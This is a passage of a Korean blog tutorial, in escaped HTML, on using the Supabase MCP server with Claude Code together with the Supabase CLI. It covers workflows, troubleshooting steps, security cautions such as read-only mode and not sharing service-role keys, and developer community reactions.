&lt;li&gt;&lt;code style=&quot;background: #fff; padding: 1px 5px; border-radius: 3px;&quot;&gt;get_advisors&lt;/code&gt; &amp;mdash; DB 성능/보안 어드바이저&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;background: #fff; padding: 1px 5px; border-radius: 3px;&quot;&gt;search_docs&lt;/code&gt; &amp;mdash; Supabase 공식 문서 검색&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;background: #fff; padding: 1px 5px; border-radius: 3px;&quot;&gt;get_logs&lt;/code&gt; &amp;mdash; API/DB/Edge Function 로그 조회&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;background: #fff; padding: 1px 5px; border-radius: 3px;&quot;&gt;list_storage_buckets&lt;/code&gt; &amp;mdash; 스토리지 버킷 관리&lt;/li&gt;
&lt;li&gt;&lt;b&gt;read_only 모드&lt;/b&gt; &amp;mdash; URL 파라미터로 쓰기 차단&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Claude Desktop 통합&lt;/b&gt; &amp;mdash; GUI 앱에서 직접 사용&lt;/li&gt;
&lt;li&gt;&lt;b&gt;자연어 인터페이스&lt;/b&gt; &amp;mdash; SQL 몰라도 DB 조회 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;flex: 1; min-width: 280px; background: linear-gradient(135deg, #e8f8e8 0%, #f0fff0 100%); border: 2px solid #28a745; border-radius: 12px; padding: 20px;&quot;&gt;
&lt;h4 style=&quot;margin: 0 0 14px 0; font-size: 16px; color: #28a745; border-bottom: 2px solid #b8e6b8; padding-bottom: 8px;&quot; data-ke-size=&quot;size20&quot;&gt;CLI 전용 기능&lt;/h4&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px; line-height: 2.0; font-size: 14px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code style=&quot;background: #fff; padding: 1px 5px; border-radius: 3px;&quot;&gt;supabase db diff&lt;/code&gt; &amp;mdash; 스키마 차이 감지/마이그레이션 생성&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;background: #fff; padding: 1px 5px; border-radius: 3px;&quot;&gt;supabase db lint&lt;/code&gt; &amp;mdash; Postgres 린트 (splinter 기반)&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;background: #fff; padding: 1px 5px; border-radius: 3px;&quot;&gt;supabase test db&lt;/code&gt; &amp;mdash; pgTAP 데이터베이스 단위 테스트&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;background: #fff; padding: 1px 5px; border-radius: 3px;&quot;&gt;supabase migration squash&lt;/code&gt; &amp;mdash; 마이그레이션 합치기&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;background: #fff; padding: 1px 5px; border-radius: 3px;&quot;&gt;supabase functions serve&lt;/code&gt; &amp;mdash; Edge Function 로컬 실행&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;background: #fff; padding: 1px 5px; border-radius: 3px;&quot;&gt;supabase inspect db&lt;/code&gt; &amp;mdash; 성능 분석 (13개 서브커맨드)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;CI/CD 통합&lt;/b&gt; &amp;mdash; GitHub Actions 등 파이프라인 직접 연동&lt;/li&gt;
&lt;li&gt;&lt;b&gt;오프라인 개발&lt;/b&gt; &amp;mdash; &lt;code style=&quot;background: #fff; padding: 1px 5px; border-radius: 3px;&quot;&gt;supabase start&lt;/code&gt;로 네트워크 없이 개발&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;MCP + CLI 조합 추천 워크플로우&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실전에서는 MCP와 CLI를 같이 쓸 때가 제일 편하다. 내가 실제로 써보면서 괜찮았던 조합 3가지를 정리했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;div style=&quot;margin-bottom: 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;조합 1: MCP로 테이블 설계/쿼리 &amp;rarr; CLI로 타입 생성&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 12px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; margin: 6px 0;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 1. MCP: Claude Code에서 자연어로 스키마 설계 &amp;rarr; apply_migration 자동 적용&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 2. CLI: 변경된 스키마 기반으로 TypeScript 타입 생성&lt;/span&gt;&lt;br /&gt;supabase gen types --lang typescript --project-id &amp;lt;ref&amp;gt; &amp;gt; src/types/database.ts&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;조합 2: CLI로 로컬 개발 &amp;rarr; MCP로 원격 점검&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 12px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; margin: 6px 0;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 1. CLI: 로컬 Supabase 스택 실행&lt;/span&gt;&lt;br /&gt;supabase start&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 2. MCP: 원격 프로젝트에 연결하여 성능/보안 점검&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# &quot;내 DB 성능 개선 사항 확인해줘&quot; &amp;rarr; get_advisors 호출&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# &quot;최근 에러 로그 보여줘&quot; &amp;rarr; get_logs 호출&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p style=&quot;margin: 0 0 6px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;조합 3: MCP로 데이터 분석 &amp;rarr; CLI로 자동화&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 12px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 13px; margin: 6px 0;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 1. MCP: 자연어로 데이터 분석 &amp;rarr; execute_sql로 결과 확인&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 2. CLI: 분석 결과 기반 스키마 변경 자동화&lt;/span&gt;&lt;br /&gt;supabase db diff --use-migra -f optimize_indexes &lt;span style=&quot;color: #6a9955;&quot;&gt;# 스키마 차이 감지&lt;/span&gt;&lt;br /&gt;supabase migration squash &lt;span style=&quot;color: #6a9955;&quot;&gt;# 마이그레이션 정리&lt;/span&gt;&lt;br /&gt;supabase db push &lt;span style=&quot;color: #6a9955;&quot;&gt;# 원격 적용&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 주의사항 및 트러블슈팅&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자주 발생하는 문제&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 1: &quot;Failed to connect&quot; &amp;mdash; MCP 등록 후 연결 실패&lt;/b&gt;&lt;br /&gt;가장 흔한 문제다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;claude mcp add&lt;/code&gt;로 등록하면 config에 추가만 되고, &lt;b&gt;OAuth 인증은 아직 진행되지 않은 상태&lt;/b&gt;이기 때문이다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;claude mcp list&lt;/code&gt;를 실행하면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase: ... - ✗ Failed to connect&lt;/code&gt;가 나온다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt;&lt;br /&gt;
&lt;ol style=&quot;margin: 5px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Claude Code를 &lt;b&gt;완전히 종료&lt;/b&gt;한다 (&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;/exit&lt;/code&gt; 또는 Ctrl+D)&lt;/li&gt;
&lt;li&gt;터미널에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;claude&lt;/code&gt;를 다시 실행한다&lt;/li&gt;
&lt;li&gt;재시작 후 Supabase MCP tool을 호출하면 (예: &quot;내 테이블 목록 보여줘&quot;) &lt;b&gt;브라우저가 열리면서 OAuth 인증&lt;/b&gt;이 시작된다&lt;/li&gt;
&lt;li&gt;인증 완료 후 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;claude mcp list&lt;/code&gt;에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;✓ Connected&lt;/code&gt; 확인&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;그래도 안 되면: PAT 방식으로 전환한다. Supabase 대시보드에서 Access Token을 발급받아 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;--header &quot;Authorization: Bearer
      YOUR_PAT&quot;&lt;/code&gt;로 재등록한다. (2. 설치 방법 참조)&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 2: apply_migration 실패 &amp;mdash; &quot;permission denied&quot;&lt;/b&gt;&lt;br /&gt;read_only 모드로 설정했거나, PAT에 충분한 권한이 없는 경우다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; URL에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;read_only=true&lt;/code&gt; 파라미터가 없는지 확인한다. PAT를 사용한다면 Supabase 대시보드에서 해당 토큰의 권한을 확인한다.&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 3: execute_sql로 DDL을 실행했는데 마이그레이션 이력에 없음&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;execute_sql&lt;/code&gt;은 마이그레이션 이력에 기록되지 않는다. 스키마 변경은 반드시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;apply_migration&lt;/code&gt;을 써야 한다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; AI에게 스키마 변경 시 apply_migration을 쓰도록 명시적으로 지시한다. 예: &quot;스키마 변경은 반드시 apply_migration으로 해줘.&quot;&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 4: MCP 연결은 되는데 원하는 프로젝트가 안 보임&lt;/b&gt;&lt;br /&gt;여러 Supabase 프로젝트가 있을 때 올바른 프로젝트를 찾지 못하는 경우다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; URL에 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;project_ref&lt;/code&gt; 파라미터를 추가한다. 프로젝트 참조 ID는 Supabase 대시보드 &amp;rarr; Project Settings &amp;rarr; General에서 확인한다.&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Supabase CLI 사용 시 트러블슈팅&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Supabase MCP와 함께 CLI를 쓸 때 실제로 겪은 오류들이다. CLI 설치/사용 과정에서 빠지기 쉬운 함정들을 정리했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 5: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase login&lt;/code&gt; &amp;mdash; non-TTY 환경에서 로그인 실패&lt;/b&gt;&lt;br /&gt;Claude Code 내부 Bash에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase login&lt;/code&gt;을 실행하면 다음 에러가 발생한다:
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 12px; margin: 8px 0;&quot;&gt;Cannot use automatic login flow inside non-TTY environments.&lt;br /&gt;Please provide --token flag or set the SUPABASE_ACCESS_TOKEN environment variable.&lt;/div&gt;
&lt;b&gt;원인:&lt;/b&gt; Claude Code의 Bash 환경은 interactive TTY가 아니라서, 브라우저 기반 로그인 플로우가 트리거되지 않는다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; &lt;b&gt;별도 터미널 창&lt;/b&gt;을 열어서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase login&lt;/code&gt;을 실행한다. 또는 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;--token&lt;/code&gt; 플래그나 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;SUPABASE_ACCESS_TOKEN&lt;/code&gt; 환경 변수를 사용한다.&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 6: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase inspect db&lt;/code&gt; &amp;mdash; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;--project-ref&lt;/code&gt; 플래그 미지원&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase inspect db table-stats --project-ref xxx&lt;/code&gt;를 실행하면 다음 에러가 나온다:
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 12px; margin: 8px 0;&quot;&gt;unknown flag: --project-ref&lt;/div&gt;
&lt;b&gt;원인:&lt;/b&gt; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;inspect&lt;/code&gt; 명령어는 linked 프로젝트에서만 동작한다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;--project-ref&lt;/code&gt; 플래그를 직접 받지 않는다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; 먼저 디렉토리를 만들고 link한 다음 inspect를 실행한다:
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 12px; margin: 8px 0;&quot;&gt;mkdir -p ~/my-project &amp;amp;&amp;amp; cd ~/my-project&lt;br /&gt;supabase init&lt;br /&gt;supabase link --project-ref &amp;lt;project-ref&amp;gt;&lt;br /&gt;supabase inspect db table-stats&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 7: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;supabase inspect db table-sizes&lt;/code&gt; deprecated&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;table-sizes&lt;/code&gt;를 실행하면 다음 경고가 나온다:
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 12px; margin: 8px 0;&quot;&gt;Command &quot;table-sizes&quot; is deprecated, use &quot;table-stats&quot; instead.&lt;/div&gt;
&lt;b&gt;해결:&lt;/b&gt; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;table-sizes&lt;/code&gt; 대신 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;table-stats&lt;/code&gt;를 사용한다. 기존 스크립트나 문서에서 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;table-sizes&lt;/code&gt;로 되어 있으면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;table-stats&lt;/code&gt;로 바꿔주자.&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 8: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;psql&lt;/code&gt; 미설치 (macOS)&lt;/b&gt;&lt;br /&gt;CLI의 일부 기능이나 직접 DB 접속 시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;psql&lt;/code&gt;이 필요한데, macOS에 기본 설치되어 있지 않다:
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 12px; margin: 8px 0;&quot;&gt;command not found: psql&lt;/div&gt;
&lt;b&gt;해결:&lt;/b&gt;
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 10px; border-radius: 6px; font-family: 'Fira Code','Consolas',monospace; font-size: 12px; margin: 8px 0;&quot;&gt;brew install libpq&lt;br /&gt;export PATH=&quot;/opt/homebrew/opt/libpq/bin:$PATH&quot;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 영구 적용:&lt;/span&gt;&lt;br /&gt;echo 'export PATH=&quot;/opt/homebrew/opt/libpq/bin:$PATH&quot;' &amp;gt;&amp;gt; ~/.zshrc&lt;/div&gt;
&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;libpq&lt;/code&gt;는 PostgreSQL 클라이언트 라이브러리로, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;psql&lt;/code&gt;을 포함한다. 전체 PostgreSQL 서버를 설치할 필요 없이 클라이언트만 설치하는 가벼운 방법이다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보안 주의사항&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;보안 관련 꼭 지킬 것&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;개발/테스트용으로 쓰자:&lt;/b&gt; 프로덕션 DB에 붙여야 한다면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;read_only=true&lt;/code&gt;는 필수다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;PAT 하드코딩 금지:&lt;/b&gt; Personal Access Token은 코드에 직접 넣지 말고, 환경 변수로 관리하자. .gitignore도 잊지 말고.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Service Role Key 주의:&lt;/b&gt; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;get_publishable_keys&lt;/code&gt;로 anon key는 가져올 수 있는데, service_role key는 AI한테 직접 붙여넣지 말자.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Human Confirmation 켜두기:&lt;/b&gt; 스키마 변경 전에 Claude Code의 Human Confirmation이 켜져 있는지 확인하자. 실수로 테이블 날리면 진짜 멘탈 나간다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 7. 개발자 커뮤니티 반응 --&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 개발자 커뮤니티 반응 (2026년 초 기준)&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 초 기준으로 Supabase MCP에 대한 반응은 대체로 괜찮은 편인데, 프로덕션에서 쓸 때는 조심해야 한다는 목소리도 꽤 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;&lt;b&gt;긍정적 반응&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;스키마 설계 초기에 &quot;ERD 없이 자연어만으로 테이블을 완성했다&quot;는 반응이 많다. Next.js&amp;middot;React 쪽 풀스택 개발자들 사이에서 &quot;백엔드 셋업이 한결 가벼워졌다&quot;는 이야기가 꽤 나온다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;RLS 정책 같은 SQL 문법이 좀 까다로운 작업에서 &quot;AI가 먼저 제안하고, 확인 후 적용하니까 실수가 줄었다&quot;는 반응도 있다. &quot;보안 설정을 같이 검토하는 느낌&quot;이라는 표현이 종종 보인다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;TypeScript 타입 생성(&lt;code style=&quot;background: #e8e8e8; padding: 2px 5px; border-radius: 3px;&quot;&gt;generate_typescript_types&lt;/code&gt;)이랑 스키마 변경을 한 대화 안에서 이어서 할 수 있다는 점도 반응이 좋다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;&lt;b&gt;실무 한계 지적&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;HTTP Remote MCP라서 &lt;code style=&quot;background: #e8e8e8; padding: 2px 5px; border-radius: 3px;&quot;&gt;execute_sql&lt;/code&gt; 결과가 전부 context window에 들어간다. 수천 행짜리 쿼리를 몇 번 돌리면 토큰이 금방 바닥난다. &lt;code style=&quot;background: #e8e8e8; padding: 2px 5px; border-radius: 3px;&quot;&gt;LIMIT&lt;/code&gt;을 꼭 붙이거나 집계 쿼리로 요약해서 받아야 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;서비스 롤 권한으로 실행되다 보니 RLS를 우회한다. 이걸 모르고 프로덕션 DB에 full-access로 붙였다가 데이터가 노출된 사례가 커뮤니티에 올라온 적 있다. &lt;code style=&quot;background: #e8e8e8; padding: 2px 5px; border-radius: 3px;&quot;&gt;read_only=true&lt;/code&gt;를 꼭 붙이라고 하는 이유가 이거다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code style=&quot;background: #e8e8e8; padding: 2px 5px; border-radius: 3px;&quot;&gt;apply_migration&lt;/code&gt;이 이력은 남기는데, Git에 자동으로 커밋해주진 않는다. 팀으로 작업할 때 마이그레이션 파일 동기화 문제가 생길 수 있어서, CLI랑 같이 쓰는 게 좋다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px; color: #666; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a href=&quot;https://supabase.com/docs/guides/getting-started/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Supabase 공식 MCP 문서&lt;/a&gt;, &lt;a href=&quot;https://github.com/supabase-community/supabase-mcp/issues&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;supabase-mcp GitHub Issues&lt;/a&gt;, &lt;a href=&quot;https://supabase.com/blog/mcp-server&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Supabase 공식 블로그 &amp;mdash; Supabase MCP Server&lt;/a&gt;)&lt;/p&gt;
&lt;!-- 8. 결론 --&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제로 써보면, Supabase MCP는 초기 스키마 잡을 때 제일 빛난다. 자연어로 요구사항 말하면 테이블 구조, FK 관계, RLS 정책까지 한 방에 잡아준다. 이 부분은 솔직히 좀 놀라웠다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;데이터 분석 쪽도 쓸만하다. SQL 안 쓰는 기획자가 &quot;지난달에 가입한 사용자 중 게시글 3개 이상 쓴 사람 몇 명이야?&quot; 이런 식으로 물어보면 Claude Code가 SQL 짜서 바로 결과를 뽑아준다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 30px 0;&quot;&gt;&lt;b&gt;Supabase MCP 요약 정리&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 Remote MCP: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;https://mcp.supabase.com/mcp&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;설치: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;claude mcp add --transport http supabase https://mcp.supabase.com/mcp&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;인증: OAuth 자동 처리 (PAT 선택 사항)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;스키마 변경: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;apply_migration&lt;/code&gt; / 데이터 조회: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;execute_sql&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;특정 프로젝트: URL에 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;?project_ref=xxx&lt;/code&gt; 파라미터 추가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;읽기 전용 모드: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;?read_only=true&lt;/code&gt; (프로덕션 DB 연결 시 권장)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;8개 그룹, 30개 이상의 tool 제공 (Storage 그룹은 기본 비활성화)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
